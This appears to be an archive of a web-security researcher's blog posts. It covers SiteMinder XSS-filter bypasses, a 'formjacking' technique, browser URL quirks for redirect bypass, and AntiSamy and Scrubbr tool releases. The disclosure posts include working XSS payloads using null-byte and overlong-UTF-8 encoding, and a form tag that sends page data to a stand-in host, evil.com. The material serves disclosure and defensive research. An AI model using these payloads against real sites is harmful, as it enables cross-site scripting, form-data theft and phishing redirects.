Two SiteMinder Flaws and Painful Disclosure

Last year Jeff Williams and I discovered 2 critical flaws in SiteMinder. Rather than just sitting on the flaws or leaving the client to report them, we decided to experiment with responsible disclosure with the company who manages SiteMinder, Computer Associates (CA). The process was painfully slow and from our perspective a little disrespectful. For months they kept asking for details about the product version and configuration - details that we told them we didn’t know and couldn’t provide without being a major annoyance to our customers. We repeated ourselves and kept pressing for them to fix it.

We repeatedly asked for status, considering the fixes should be relatively easy and we got very little information until now. The timelines in the responsible disclosure guidelines by Wysopal & Christey were obliterated by CA. We just got an email after months saying they just tested their latest build (something we suggested they do on day one) and that the attacks appear not to work anymore.

This response, after thinking a bit, seems like an insult to my intelligence. The attacks haven’t not worked on any SiteMinder-protected application we’ve tested since last year. All of a sudden they decide it’s important and test their latest build and it no longer works? Apply some critical thinking skills and ask yourself what is more likely:

  • They randomly fixed both of these vulnerabilities before we reported it. Keep in mind the following facts:
    • We are seeing them work in the wild 24/7
    • There are no advisories regarding these vulnerabilities on their advisory blog
    • It took 6 months for them to “get around” to testing our 2 newly reported critical vulnerabilities
    • or…
  • They took our information, spent the last 6 months fixing the vulnerabilities quietly, and now have plausible deniability

So much for responsible disclosure.

The motivation for researchers to find flaws is credit. Credit is the currency we deal in. As gaz pointed out on Twitter, “bug hunting is fun”, but at the same time bug hunters are also providing an extremely valuable service and should be compensated in some way for the bugs they find. Credit to the researchers in a patch or advisory is the only currency that vendors have been willing to pay, especially for layer 7 bugs. You think ZDI’s paying me for my XSS?

So, since the bugs have been “fixed” we can now talk about them, right?

What is SiteMinder?
SiteMinder, for the uninitiated, is a  security gateway that sits in front of 80-90% of corporate America’s J2EE applications. It’s used to provide authentication, URL authorization and XSS protection on GET requests.

Although it’s used to protect J2EE applications, SiteMinder itself is written in an unmanaged language.

Flaw #1: Complete XSS-defense Bypass Through Null-Byte Injection
Normally, passing almost any special characters in a GET request to SiteMinder will cause an error to occur. It’s practically impossible to XSS a SiteMinder application through a GET because of this. The user data must land inside a JavaScript context, unquoted attribute, or some other unusual scenario for exploitation to be possible. Passing data in via a POST is the low-tech way to do this, but it’s not ideal for reflected XSS.

Jeff was testing this mechanism and he tried prepending his payload with %00. SiteMinder didn’t see the attack because it recognized %00 as the end-of-string character. Here’s some text from our disclosure to them:

The following URL, which attempts to exploit a non-existent XSS vulnerability in the a page will be caught by Siteminder’s XSS protection:

http://victim/app/function?foo=bar<script>alert(document.cookie)</script>

However, prepending the parameter value with a null byte directly will cause the parameter value to go unnoticed by the protection mechanism, as can be seen in the following URL:

http://victim/app/function?foo=bar%00<script>alert(document.cookie)</script>

This indicates that the code for parsing parameters is done in an unmanaged language like C or C++ and interprets the null-byte as the end of string character. Unfortunately, Java considers the null byte just another part of the string, so what comes after it is used in the vulnerable page and the reflected XSS will be fired.

Flaw #2: Complete XSS-defense Bypass Through Canonically Decomposable (aka “overlong”) Unicode
This one we anticipated would be harder to fix since it would require some architectural re-thinking. By passing an “overlong” version of a SiteMinder-blacklisted character (like %e0%80%bc for ‘<’) you could get the attack to pass SiteMinder’s check, which obviously worked at the byte or ASCII-character level. However, when the J2EE application server got a hold of the multi-byte character sequence it canonicalized the data into Unicode (Java uses UTF-16 under the hood). Here is some text from our disclosure to them:

There are a multitude of issues when interpreting UTF-8 in a gateway security mechanism. Invalid UTF-8 of all forms, including overlong UTF-8, using best-fit mappings and performing normalization can all cause problems. The following URL will be caught by SiteMinder because it contains a ‘<’.

http://victim/app/function?foo=bar<

However, passing the following URL will not trip the protection mechanism:

http://victim/app/function?foo=bar%e0%80%bc

The seemingly random assortment of bytes (0xe080bc) is reduced to the ‘<’ character when its consumed into a Java String object because the JavaVM understands and reduces this inappropriately long representation of a UTF-8 character. Strictly looking for the 0×3C byte to detect ‘<’ characters will always fail because of this, so the SiteMinder protection needs to be Unicode aware. These issues are presented well in the Unicode technical report #36: http://unicode.org/reports/tr36/, specifically in section 3.

Summary
That’s our story. At the end of the day, we didn’t get credit from CA, but our bugs supposedly got fixed, so we’ll call it a push.

P.S. Anyone interested in finding a more vulnerabilities in SiteMinder should try to use these techniques in different areas. For instance, sending in a canonically decomposable version of an entire URL may prevent any SiteMinder rules from matching, and in those cases where the default resource setting is “UNPROTECTED”, this may amount to a complete authentication and/or authorization bypass. The null byte may be also used in other avenues, but you won’t be hearing about any more flaws I find. =)

Forget sidejacking, clickjacking, and carjacking: enter “Formjacking”

A colleague of mine, Jerry Hoff, was testing AntiSamy a while ago and he found an interesting technique he quite hilariously and tongue-in-cheekly called “formjacking.” Once we dissected the payload we found a very strange cross-browser behavior. I wanted to talk about it but never had a chance until now.

It seems that FF3 and IE7 respond uniformly and strangely to self-contained XHTML in many cases. We had encountered this behavior before in responding to functional “bugs” in AntiSamy (though I am not surprisingly more inclined to blame them on the browser). When the browser sees the following text, the words “anna faris deserves better” are shown in italics:

<i /> anna faris deserves better

Everything that came after the self-contained italic tag was italicized. The same behavior was found for the bold and underline tags. In AntiSamy we special-cased those and other basic formatting tags to be removed if they were self-contained, and we thought we were done.

Fast forward to Jerry’s payload. Jerry was passing in the following string:

<form action="http://evil.com/stealcontent">

Jerry wanted to pass in an extraneous opening form tag that would pre-empt the other <form> tag in order to steal the profile data when the user hit the submit button. He was counting on something like this appearing after the application reflected his input:

<!-- begin evil user-supplied data -->
<form action="http://evil.com/stealProfileInfo">
<!-- end evil user-supplied data -->
...
<form action="/good/updateProfile">
<textarea name='profile'></textarea>
</form>

He was hoping that the browser would ignore the original <form> tag which has been nested by his attack string. This would work across browsers as you can demonstrate for yourself on this test page. This type of attack never worried me with AntiSamy because I knew that AntiSamy balances input. Because Jerry didn’t have properly formed XHTML in his input (he only had an opening tag and no closing tag), AntiSamy cleaned it up for him and his resulting profile was this value:

<form action="http://evil.com/stealProfileInfo"/>

Notice that it is self-contained. Little did I know that I should be worried about this. Much how the self-contained tags <b/> and <i/> embolden or italicize the rest of the page, this self-contained <form/> tag somehow forced the browser to ignore the following <form> tag, and thus stole all the inputs on the rest of the page. So when the user hits the submit button, all the information is sent to evil.com!

I don’t think I’m alone in thinking this is very strange behavior. Because of the nature of XML, you would think that a self-contained <form/> tag should have absolutely zero impact on anything else on the page, including any other forms. This is not the case, obviously. You can find some simple test pages for mixing self-contained with non-self-contained <form> tags here, but the net result is this - if the attacker can provide a <form> tag before your <form> tag, they can steal the form data.

There’s probably more stuff you can do with this browser behavior. <script/>, anyone?

Browser scheme/slash quirks

Last week I needed to beat a commercial product that was preventing an unchecked redirect vulnerability from being exploited. The input was being reflected into the location header, and anything that “looked like” a URL was getting blocked. After some laborious man-fuzzing (basically re-verifying the research I found existed after the fact in the under-utilized Browser Security Handbook) I discovered that the following is a valid URL when referenced by tags and in location headers in IE:

http:\\google.com

What about Firefox? Aside from the well known vector that doesn’t require an http at all (//google.com), FF3 also appears to accept three leading forward slashes in a URL found in a tag/redirect:

http:///google.com

There are lots of RFCs and official-looking documents that seem to contradictingly dictate what a legal URI looks like, so I’m quite inclined not to care who is right or wrong. For the record, lots of other random things worked when I was testing in the address bar and in a local file (like http:foo.com) so let me save you some time and tell you that’s a bad place to test. Most of the things you find work there won’t work anywhere else.

So, in order to make their page really reflect all the necessary information, I think the Google Security team should split out the scheme/slash row in the URL table to indicate whether or not a URL scheme/slash combination “works” when encountered in in a 302 location header, src attribute, as a link, or in the address bar. Hopefully that will be a well-maintained document but I know it is probably a huge pain in the ass to keep such a cutting-edge resource continually up to date.

Happy nowruz!

OWASP AntiSamy 1.3 out

Go download!

The changes:

  • Fixed empty element “bug” (a <b/> causes the rest of the page to be bold cross-browser, wtf? more on this later)
  • Fixed some bugs handling CSS colors, fonts and margins (negative margins not allowed and colors are now c14nized - thx to Jason Li and designbistro)
  • Added a usable pom.xml (thx to fernman)
  • Fixed a bunch of CSS policy file functional problems (thx to Jerry Hoff who is also working hard getting the .NET version to 1.0)
  • Added demo WAR to the downloads
  • Numerous other little bug fixes

The test cases all pass except one. The only one that fails is the one that is actually a problem with NekoHTML, the HTML parsing engine on top of which AntiSamy sits. As you can see here I provided him a working patch, test case, and justification. I’ve been watching their source tree closely and I don’t see any movement on this particular issue. However, as a group we decided to just live with it until they fix and no longer try to maintain a forked version of their library. I trust that they’ll eventually fix it, and you can still use my patch to fix your own version if that’s unacceptable.

Here’s what’s on the roadmap for 1.4:

  • full Maven support
  • SAX parser (should increase speed by ~50%)
  • programmatic access to the Policy object with guaranteed thread safety

As always, if you have issues, questions, or feedback drop us a line on the Google Code issue tracker or OWASP AntiSamy mailing list.

Thanks to all the people who submitted issues, patches and feedback. You guys are awesome.

Finding XSS in your database with Scrubbr

Some backstory: When the Asprox mass SQL injection attack hit the web, HP teamed up with Microsoft and did a very cool thing. They donated a free, trimmed down version of their dynamic analysis tool called Scrawlr to the world. Scrawlr poked around your site, and if it detected SQL injection vulnerabilities, it let you know. Simple, useful, awesome.

When it came to fixing databases, people were at a loss in the beginning. Thanks to the blogotubes, database queries written by smart guys to detect and reverse the particular payload installed by the attack were spread pretty quickly.

Back to present day: Trying to find stored XSS in your database manually is insane. It just is. Even if you fix a stored XSS vulnerability with input validation and you’re convinced that it’s reliable, you could still have existing malicious data in your database that can still be used to harm your users. The fact is your database is probably just a huge abyss of data, and it’s not getting any brighter.

That’s why Aspect Security generously gave me work time to write a tool to automate that process. Even more generously, they donated the end result to OWASP (as they are wont to do). What resulted is a standalone GUI tool called Scrubbr, in hopefully obvious honor of and not theft from the Scrawlr folks.

Scrubbr allows you to get some visibility into your MySQL, MS SQL Server, or Oracle database when looking for XSS. It finds XSS vulnerabilities using AntiSamy as an engine. It can also actually fix any malicious data you encounter, also using AntiSamy. Fixing seems to work very well in MySQL and SQL Server but hasn’t been tested much in Oracle.

Here is a snippet from the OWASP page that talks about the use of AntiSamy in this context, as well as the “Fix” button:

Frankly, you’d have to be crazy to change production data with a tool you didn’t write yourself (and maybe even then). Trying to write a cross-platform database tool that can read and write is also a little crazy. The database technologies differ in so many stupid ways, and we mostly rely on JDBC to handle the interaction with the database. The “Fix” button is provided as-is, but of course we would like to hear about and fix your particular problem, and you can let us know about it at the issue tracker.

If you can tell Scrubbr how to access your database, it will search through every field capable of holding strings in the database for malicious code. If you want it to, it will search through every table, every row, and every column.

Scrubbr can detect input that doesn’t match up with an AntiSamy policy file. There is a subtle difference between “matching an AntiSamy policy” and being “detected as an attack.”

There are numerous tools out that *detect* XSS attacks in different contexts better than AntiSamy. The most prominent and peer-reviewed are NoScript (http://noscript.net) and PHPIDS (http://php-ids.org/category/PHPIDS/). However, detection is not strictly what AntiSamy does. AntiSamy checks if rich input that is passed in is allowed according to a policy file. Chances are that there is some input in your database that looks like rich input how we in the web world think about it, but actually isn’t.

With all of that being said, AntiSamy does an excellent job in most situations and will still detect the vast majority of stored XSS attacks, depending on the injection context.

So, hopefully in the future we can hook it up to a more appropriate engine like the PHPIDS ruleset. We will strive to make it produce less false positives in the future. However, regardless of the false positives I think we are a lot better off today than we were yesterday, so go download Scrubbr now!

Opera’s MAMA - Scanning the structural web

What could be better than Google Code Search for finding vulnerabilities? Look at MAMA. I bet you never heard of it - I hadn’t, until my buddy .mario pointed it out to me. It’s (as of today) an internal tool that Opera uses to crawl the web and index the structure of the world’s web pages, which is very different from Google’s engine which is strictly interested in text content.

Brian Wilson of the Opera team has said on their forums that general public release is definitely the plan. What could you do with MAMA? Just off the top of my head, anything an appscanner could find without stateful context. Simple queries could produce a lot of noise, but could be optimized greatly with correlating conditions and keywords. Some quick thoughts, and who knows, maybe Johnny Long can do a few of these things already:

  • DOM-based XSS vulnerabilities
  • CSRF (forms without a token >20 bytes of seemingly random stuff)
  • CAPTCHA-less comment forms (hello targeted, optimized spam!)
  • hidden administration login pages (already kind of doable with Google)
  • clickjackable sites (absence of frame breaking code)
  • interesting HTML comments (HACK, FIXME, TODO are usually good ones)
  • insecurely implemented postMessage() senders or listeners
  • insecure password policies
  • suspiciously named hidden fields
  • meta tags with incorrectly spelled charsets (for followup exploitation with content sniffing and utf-7)

This would also be useful to security researchers who are asking browsers to kill off crazy API abuse. For example, my first question for MAMA is: does any legitimate site out there use <img src=”javascript:…>? This tool could provide assurance to browsers that any API cleanups don’t cause any back breakage significant.

I can’t wait to hear more about this project, which has not, as far as I can tell, been released to the public. In the meantime check out Brian’s list of articles that hint at the power this thing could give the unscrupulous. They should make you pass a breathalyzer before using that thing.

Alternatives for fixing unchecked redirect vulnerabilities

Unchecked redirect vulnerabilities are annoying to fix for our customers. Sometimes the developers need to link to a constantly changing selection of partners and they always have to support different redirect URLs for testing, integration, and production. Sometimes these redirect mechanisms span different applications even though they live on the same domain, too. Given the unstable nature of the “targets” and the cross-application centralization of these redirect mechanisms, we need some smarter alternatives.

What we’ve been recommending customers do to accommodate this target flux allows them to maintain a dynamic target without putting them at risk to phishing attacks. There are a number of creative solutions, and if you’ve got any more please comment:

  1. Change the functionality to use POST instead of GET, and require a POST before redirecting. The attacker can’t force your browser to issue a POST without bouncing you off an intermediary, evil site. And if they do that, they could just redirect you to the phishing page directly anyway.
  2. Set the target of the redirect in a cookie and let the “bounce” functionality read it from there. The attacker can’t force your browser to send arbitrary cookies with cross-site requests, so you’re safe with this technique.
  3. Symmetrically encrypt the contents of the redirect target. You can still have a constantly-in-flux list of redirect targets and still maintain assurance that attackers can’t abuse your functionality for phishing.
  4. Set the target of the redirect in a session variable and let the “bounce” functionality read it from there. The attacker can’t  populate a victim’s session variables without abusing another vulnerability. For some redirect scenarios this may simply shift the dynamic work somewhere else but at least at that point you have architectural enforcement of your security mechanism.

Hope that helps!

(8-1) things - my turn

Jeremiah Grossman, who not many people know is actually the devil, smoked a bunch of crack and made the mistake of associating himself with me again with this virulently circulating “7 facts”. Before I got a chance to see his post, he sent me an e-mail saying he was sorry about the “7 facts” thing. I got all excited because I thought it had something to do with Miley “fuckmeboots” Cyrus who has a song by the same name. Now I am all pissed off because it has nothing to do with my dream girl (just playing, Anna Faris - what we have is srsly speshl).

The Rules:

  • 1. Link to your original tagger(s) and list these rules in your post.
  • 2. Share seven facts about yourself in the post.
  • 3. Tag seven people at the end of your post by leaving their names and the links to their blogs.
  • 4. Let them know they’ve been tagged.

0. I don’t think anyone cares about these facts, but I enjoyed writing them while stuck in a hotel outside Philly. By the way, I love It’s Always Sunny in Philadelphia. Great show. That technically will make this page contain 8 facts, but I figure I’m also 1/7 more important or better looking than everyone else, so that means I deserve another fact.

1. I grew up on something more than alert(document.cookie). I cut my teeth on auditing and exploiting C. My favorite hacking books are Hacking: The Art of Exploitation by Jon Erickson and The Shellcoder’s Handbook by Aitel, Kozoil, Litchfield, et. al. Despite some lies you might hear from samy, the structs in my DNS spoofers are not misaligned and I can smash some stacks. However, my skills in the world of how-the-hell-can-I-write32 and the like have atrophied during my past 3 years in Funhouse of Mirrors we call the webappsec world.

2.  My favorite hobbies are video games, soccer and table tennis. I’ve even gotten some recognition and money for the first 2! Watch your back, Chris Shiflett.

3. I am a social justice junkie and desperately want everyone to vote 3rd party in the next presidential election. Stay within the realm of sanity with choices like Ralph Nader, Cynthia McKinney and Ron Paul. The media and controlling parties simply aren’t capable or willing to affect change, although we all have high hopes for Obama. If you don’t do something to help change your country, even if it’s just helping spread awareness about how fundamentally broken our system is, you might as well buy a shotgun, hole up in your house, and wait for the zombies to come. And pray that when they do, they’re the slow-moving zombies that can only infect you with a bite. If they’re fast and can infect you with scratches, you my friend, can consider yourself as eaten as a delicious risotto in front of Reuben Studdard.

4. I hang out with mostly non-technical people, which is probably why I haven’t killed myself yet. Computers r dum.

5. I can’t fall asleep without reading. I usually stick with Stephen King (the Dark Tower series should be a legal requirement for young adults), Frank Herbert (Dune, duh), George R.R. Martin, and all kinds of non-fiction including modern science types (On Intelligence, Freakonomics), but mostly historical and political (All the Shah’s Men, The Story of World War II, Franklin and Winston, A People’s History of the United States, The Essential Chomsky).

6. I’m an avid fan of both types of football, and cheer on my hometown Baltimore Ravens and my never-been-there-but-home-away-from-home Liverpool Reds.

7.  I was almost an artificial intelligence academia dork. My master’s thesis got published and I had some cool opportunities, but security was more interesting. We’re a long way from the finish line in the world of AI, and I didn’t want to be a forgotten ant in the pile of failed researchers.

Ok, here are the people I’m picking out.

Ivan Ristic. A good friend; unique, and an expert.

Mario Heiderich. He’s a great mind, passionate, but most importantly because he will HATE me for it.

Billy Hoffman. Because he’s my hero.

Dre/Marcin: Marcin is one of my padawan and Dre is hilariously inflammatory. This counts as 2.

Rafal Los:  I’m calling on a preacher’s kid, I must be running out of people.

Coates: A co-worker who pwns.

Google inurl: still the quickest way to find 216 million flaws

What other way is there of finding 216 million flaws in sub-second scanning time? Google, of course. How about 160,000 strictly within .gov? These numbers are absurd, especially since I’m only searching for one type of URL rewriting for J2EE. This type of flaw usually rates to a medium - the result of the combination of high impact and low likelihood.

URL rewriting is really only a problem because people aren’t especially good at rotating the user’s session ID post-authentication, so if you can trick a user into clicking on a link that has the session ID in it, they will be using that session ID from that point forward. All you have to do is wait 5 minutes, then use the session ID you sent them and hijack their identity and, most likely, their Twitter account because apparently they take security lessons from Oracle, which, for the uninitiated, is like taking gun safety lessons from Plaxico Burress (my 2nd round pick in fantasy football, I am salty).

URL re-writing is bad for one-click session fixation, SEO (page 8), usability - it’s just a bad, bad idea. Why don’t you use some clever JavaScript for tracking cookieless user state instead?

Of course none of these Google hacking techniques are new, but neither is David Spade and he’s banging it out with all kinds of hotties (note to Nicollette Sheridan: you can invade my Gaza strip anytime - also do you have a son named Eric?). It’s just that the numbers for this particular area are so crazy I had to write something up. And when I brought this up to j-dubs he of course tried to outdo me (typical) by trying to conjure up huge numbers in Google’s Code Search looking for the most blatant reflected XSS and the most obviously exploitable SQL injection vulnerabilities. He couldn’t come close, but notes correctly that many of those could be in widely deployed software.

Can anyone beat that number? With a similar-or-higher-severity vulnerability?

OWASP NYC 2008 Wrap-Up

Another great OWASP conference ended yesterday. Other than the terrible food and slightly jarring speaker shuffle, I had a great time. I met lots of interesting folks from lots of different places, including closet webappsec expert Chris Shiflett, the always-blogging Rafal Los, and seasoned veteran Gunter Ollman, among them. I gave a talk on Day 2 about organizing our thoughts on cross-site scripting worms and where worm authors can go in the future with smarter design choices and futureware from HTML5. The slides are here and the corresponding paper from last year’s Belgium conference is here. Let’s go through the highlights of the rest of the conference for those of you who weren’t there.

Clickjacking / UI Redress / iframe + CSS

There’s been some drama recently since Jeremiah Grossman and Robert Hansen abruptly cancelled their ‘clickjacking’ talk at the conference. Instead of giving the talk, the pair fielded questions about the vulnerability in general terms and deflected any detailed questions that might leak information to people attempting to reverse engineer it. This pattern of half-disclosure among security researchers is becoming more popular and I’m not personally sure if the vendors deserve any preferential treatment given their security track record.

Clickjacking, the term, is an attack whereby a victim on a malicious page is tricked into clicking ‘past’ a link or button and ends up clicking on something else. What is that “something else”? How bad can it be? Pretty bad, actually. After about 30 minutes of thinking I came up with 2 really dangerous vectors, one just a general attack framework idea, and another specific vector against Flash I’d rate as a 7/10. However, Jeremiah and RSnake are sitting on a vector that is definitely 10/10. To quote Ptacek, ‘they have the goods.’

Corruption

Dave Aitel’s talk on trends in public exploit development and future consequences was fascinating. Dealing with “alert(document.cookie)” 24/7/365 does make you itch for that time when you were staying up all night trying to figure out why your write32 exploit worked in gdb but not on the command line. His personality reminds me a lot of Samy, and possibly myself - no coincidence considering we’re all brown.

Bypassing web application/service security controls using Encoding, Transcoding…

Arian never showed up - it was claimed he was lost in NYC. I suspect he was hung over on a beach in Malaysia, rolling over some chubby MILF. <3 u Arian.

Multidisciplinary Bank Attacks

Got a chance to meet Gunter Ollman, who is much nicer in real life than the curmudgeon persona he has online. He discussed man-in-the-browser banker trojans; their technical capability and the business around them. Given that there were between 3,000 and 6,000 variants of banker trojans identified in 2005 alone, and I’ve heard that some ridiculous percentage of IE6 installations tested were infected with one of those variants, this is definitely pertinent considering how much we all work with the financial industry.

Given the signature-based methodology the trojans use to modify pages, couldn’t we play some defense by doing some DOM re-ordering or id-randomizing to at least make the attacks appear more obvious? Kind of like ASLR for the pages? Seems like some good defensive research could produce protection for at least a year or two.

Conclusions

Thanks to the NY chapter and Tom Brennan for organizing such a great conference considering they had to change venues 2 weeks before the event! Hope to see all of you in Portugal for the EU Summit.